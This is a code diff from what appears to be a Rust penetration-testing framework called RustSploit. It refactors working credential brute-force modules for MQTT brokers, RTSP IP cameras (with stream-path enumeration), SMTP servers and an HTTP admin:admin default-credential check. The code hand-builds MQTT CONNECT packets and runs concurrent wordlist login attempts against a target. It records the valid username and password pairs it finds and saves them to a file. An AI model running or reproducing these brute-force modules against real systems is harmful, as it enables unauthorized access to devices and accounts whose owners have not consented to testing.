||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new()); // Use shared stats
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_flag.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate work items
|
||||
// To avoid huge memory usage for large combos, we can stream/generate on fly or push all if reasonable.
|
||||
// For consistency with other modules, we'll iterate.
|
||||
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
|
||||
spawn_task(
|
||||
&mut tasks, &semaphore, u.clone(), p.clone(),
|
||||
config.clone(), addr.clone(),
|
||||
found.clone(), stop_flag.clone(), stats.clone()
|
||||
).await;
|
||||
}
|
||||
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
|
||||
}
|
||||
} else {
|
||||
// Linear strategy similar to original module
|
||||
// Original logic:
|
||||
// if user=1 -> iterate passwords
|
||||
// if pass=1 -> iterate users
|
||||
// else -> iterate passwords (reusing user[0]) - This was original bug/limitation?
|
||||
// Let's improve it: Cycle users if multiple
|
||||
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
spawn_task(
|
||||
&mut tasks, &semaphore, u.clone(), p.clone(),
|
||||
config.clone(), addr.clone(),
|
||||
found.clone(), stop_flag.clone(), stats.clone()
|
||||
).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Final report
|
||||
stats.print_final().await;
|
||||
|
||||
let found_guard = found.lock().await;
|
||||
if found_guard.is_empty() {
|
||||
println!("{}", "[-] No valid credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", found_guard.len()).green().bold());
|
||||
for (u, p) in found_guard.iter() {
|
||||
println!(" {} {}:{}", "✓".green(), u, p);
|
||||
}
|
||||
|
||||
// Simple save prompt if needed, or rely on user using tee
|
||||
// The shared modules usually don't prompt for save at the end but user asked for previous behavior?
|
||||
// Other refactored modules REMOVED the "save to file" prompt at the end to unify behavior
|
||||
// (stdout is enough). I will stick to implicit unification: No post-run prompts.
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn spawn_task(
|
||||
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
|
||||
semaphore: &Arc<Semaphore>,
|
||||
user: String,
|
||||
pass: String,
|
||||
config: MqttBruteforceConfig,
|
||||
addr: String,
|
||||
found: Arc<Mutex<Vec<(String, String)>>>,
|
||||
stop_flag: Arc<AtomicBool>,
|
||||
stats: Arc<BruteforceStats>,
|
||||
) {
|
||||
let permit = semaphore.clone().acquire_owned().await.ok();
|
||||
if permit.is_none() { return; }
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// explicit drop of permit at end of scope
|
||||
let _permit = permit;
|
||||
|
||||
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { return; }
|
||||
|
||||
match try_mqtt_login(&addr, &user, &pass, &config.client_id).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] VALID: {}:{}", user, pass).green().bold());
|
||||
found.lock().await.push((user.clone(), pass.clone()));
|
||||
stats.record_success();
|
||||
if config.stop_on_success {
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats.record_failure();
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_error(e.to_string()).await;
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
async fn try_mqtt_login(addr: &str, username: &str, password: &str, client_id: &str) -> Result<bool> {
|
||||
// Resolve first (async)
|
||||
// We can use default tokio resolution via TcpStream::connect, but strictly speaking we might want
|
||||
// to resolve once if address is static, but here it's fine.
|
||||
|
||||
// Tokio TcpStream connect
|
||||
let stream = tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr)
|
||||
).await.context("Connection timeout")??;
|
||||
|
||||
// We don't need explicit set_read_timeout for tokio stream generally if we use timeout() on ops
|
||||
// But let's act on ops.
|
||||
|
||||
let mut stream = stream;
|
||||
|
||||
// Build MQTT CONNECT packet (same logic as before)
|
||||
let mut packet = Vec::new();
|
||||
packet.push(0x10); // CONNECT
|
||||
|
||||
let protocol_name = b"MQTT";
|
||||
let protocol_level = 0x04;
|
||||
let connect_flags = 0xC0; // User + Pass
|
||||
let keep_alive: u16 = 60;
|
||||
|
||||
let mut var_header = Vec::new();
|
||||
var_header.extend_from_slice(&(protocol_name.len() as u16).to_be_bytes());
|
||||
var_header.extend_from_slice(protocol_name);
|
||||
var_header.push(protocol_level);
|
||||
var_header.push(connect_flags);
|
||||
var_header.extend_from_slice(&keep_alive.to_be_bytes());
|
||||
|
||||
let mut payload = Vec::new();
|
||||
let client_id_bytes = client_id.as_bytes();
|
||||
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(client_id_bytes);
|
||||
|
||||
let username_bytes = username.as_bytes();
|
||||
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(username_bytes);
|
||||
|
||||
let password_bytes = password.as_bytes();
|
||||
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(password_bytes);
|
||||
|
||||
let remaining_length = var_header.len() + payload.len();
|
||||
let mut remaining_length_bytes = Vec::new();
|
||||
let mut x = remaining_length;
|
||||
loop {
|
||||
let mut byte = (x % 128) as u8;
|
||||
x /= 128;
|
||||
if x > 0 { byte |= 0x80; }
|
||||
remaining_length_bytes.push(byte);
|
||||
if x == 0 { break; }
|
||||
}
|
||||
|
||||
packet.extend_from_slice(&remaining_length_bytes);
|
||||
packet.extend_from_slice(&var_header);
|
||||
packet.extend_from_slice(&payload);
|
||||
|
||||
// Send
|
||||
stream.write_all(&packet).await.context("Failed to send CONNECT")?;
|
||||
stream.flush().await?;
|
||||
|
||||
// Read CONNACK
|
||||
let mut response = [0u8; 4];
|
||||
let n = tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
|
||||
stream.read(&mut response)
|
||||
).await.context("Read timeout")??;
|
||||
|
||||
if n < 2 { return Err(anyhow!("CONNACK too short")); }
|
||||
if response[0] != 0x20 { return Err(anyhow!("Expected CONNACK 0x20")); }
|
||||
|
||||
if n >= 4 {
|
||||
match response[3] {
|
||||
0x00 => {
|
||||
// Success. Disconnect nicely.
|
||||
let _ = stream.write_all(&[0xE0, 0x00]).await;
|
||||
Ok(true)
|
||||
},
|
||||
0x04 | 0x05 => Ok(false), // Auth fail
|
||||
c => Err(anyhow!("Return code: 0x{:02x}", c))
|
||||
}
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -5,59 +5,65 @@ use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
io::Write,
|
||||
net::SocketAddr,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration},
|
||||
time::sleep,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range,
|
||||
load_lines, get_filename_in_current_dir, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
|
||||
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Advanced RTSP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RTSP Port", "554")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
let port: u16 = prompt_default("RTSP Port", "554").await?
|
||||
.parse().unwrap_or(554);
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
let usernames_file = prompt_wordlist("Username wordlist").await?;
|
||||
let passwords_file = prompt_wordlist("Password wordlist").await?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt")?)
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let _save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let save_path = if _save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
|
||||
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false).await?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
|
||||
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
|
||||
let headers_path = prompt_required("Path to RTSP headers file")?;
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE").await?;
|
||||
if prompt_yes_no("Load extra RTSP headers from a file?", false).await? {
|
||||
let headers_path = prompt_wordlist("Path to RTSP headers file").await?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
@@ -69,6 +75,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let (addr, implicit_path) = normalize_target_input(target, port)?;
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new()); // Standardized stats
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
@@ -83,23 +90,19 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
println!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
|
||||
.lines()
|
||||
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect();
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if pass_lines.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
println!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false).await?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = prompt_required("Path to RTSP paths file")?;
|
||||
let paths_file = prompt_wordlist("Path to RTSP paths file").await?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
@@ -113,13 +116,30 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
// Use loop structure from other modules or this module's custom loop?
|
||||
// This module iterates: pass list (outer), user list (inner depending on combo), then paths.
|
||||
// I will preserve the original logic flow.
|
||||
|
||||
for pass in pass_lines {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let userlist: Vec<String> = if combo_mode {
|
||||
users.clone()
|
||||
@@ -128,13 +148,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
for user in userlist {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for path in &paths {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
@@ -142,6 +158,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let command = advanced_command.clone();
|
||||
let headers = Arc::clone(&advanced_headers);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
@@ -150,16 +167,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let verbose_flag = verbose;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
drop(permit);
|
||||
return;
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(
|
||||
@@ -170,63 +185,73 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
&path_clone,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
).await {
|
||||
Ok(true) => {
|
||||
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
|
||||
println!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
stats_clone.record_success();
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => log(verbose_flag, &format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone)),
|
||||
Err(e) => log(verbose_flag, &format!("[!] {} -> error: {}", addr_clone, e)),
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
// Limit task generation if queue prevents high memory usage (though semaphore limits active tasks)
|
||||
// The semaphore logic above (acquire_owned) already throttles concurrency.
|
||||
}
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
if verbose {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found (with these paths).");
|
||||
println!("{}", "[-] No credentials found (with these paths).".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials (and paths):");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -367,37 +392,28 @@ fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Op
|
||||
(without_scheme.trim(), None)
|
||||
};
|
||||
|
||||
if host_part.is_empty() {
|
||||
return Err(anyhow!("Target host cannot be empty."));
|
||||
}
|
||||
|
||||
let normalized_host = if host_part.starts_with('[') {
|
||||
if host_part.contains("]:") {
|
||||
host_part.to_string()
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
// Use shared normalization for the host/port part
|
||||
let normalized_host = normalize_target(host_part)?;
|
||||
|
||||
// Check if normalized host implies a port. normalize_target returns host:port or host.
|
||||
// If it has no port, we might want to append default_port, OR return it as is and let caller handle.
|
||||
// However, existing logic seemed to force a port.
|
||||
// Let's check if port is present.
|
||||
// A simple heuristic: if it ends with digit, check for colon.
|
||||
// [ipv6]:port, ipv4:port, host:port.
|
||||
// If we assume normalize_target did its job, we just need to adhere to the return type.
|
||||
// But wait, if normalize_target returned "host", and we want "host:554", we need to append.
|
||||
// Checking for port on a normalized string:
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
|
||||
} else {
|
||||
let colon_count = host_part.matches(':').count();
|
||||
if colon_count == 0 {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
} else if colon_count == 1 {
|
||||
if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
|
||||
if port_str.parse::<u16>().is_ok() {
|
||||
if host_only.contains(':') {
|
||||
format!("[{}]:{}", host_only, port_str)
|
||||
} else {
|
||||
host_part.to_string()
|
||||
}
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
format!("[{}]:{}", host_part, default_port)
|
||||
}
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
|
||||
let final_host = if has_port {
|
||||
normalized_host
|
||||
} else {
|
||||
format!("{}:{}", normalized_host, default_port)
|
||||
};
|
||||
|
||||
let normalized_path = path_part.and_then(|p| {
|
||||
@@ -414,72 +430,8 @@ fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Op
|
||||
}
|
||||
});
|
||||
|
||||
Ok((normalized_host, normalized_path))
|
||||
Ok((final_host, normalized_path))
|
||||
}
|
||||
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
match s.trim().to_lowercase().as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
|
||||
@@ -1,14 +1,32 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sample Default Credential Checker ║".cyan());
|
||||
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// A sample credential check - tries a basic auth login
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking default creds on: {}", target);
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
|
||||
println!();
|
||||
|
||||
let url = format!("http://{}/login", target);
|
||||
let client = reqwest::Client::new();
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Hypothetical login using "admin:admin"
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
@@ -17,9 +35,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
println!("[+] Default credentials admin:admin are valid!");
|
||||
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
|
||||
} else {
|
||||
println!("[-] Default credentials admin:admin failed.");
|
||||
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,16 +1,21 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::Colorize;
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use colored::*;
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::time::Duration;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use telnet::{Telnet, Event};
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpBruteforceConfig {
|
||||
@@ -22,17 +27,26 @@ struct SmtpBruteforceConfig {
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
output_file: String,
|
||||
delay_ms: u64,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== SMTP Bruteforce ===\n");
|
||||
let port = prompt_port(25);
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
|
||||
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
|
||||
let threads = prompt_threads(8);
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false);
|
||||
let verbose = prompt_yes_no("Verbose mode?", false);
|
||||
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
|
||||
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
|
||||
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
|
||||
|
||||
let threads = prompt_int_range("Threads", 8, 1, 256).await? as usize;
|
||||
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
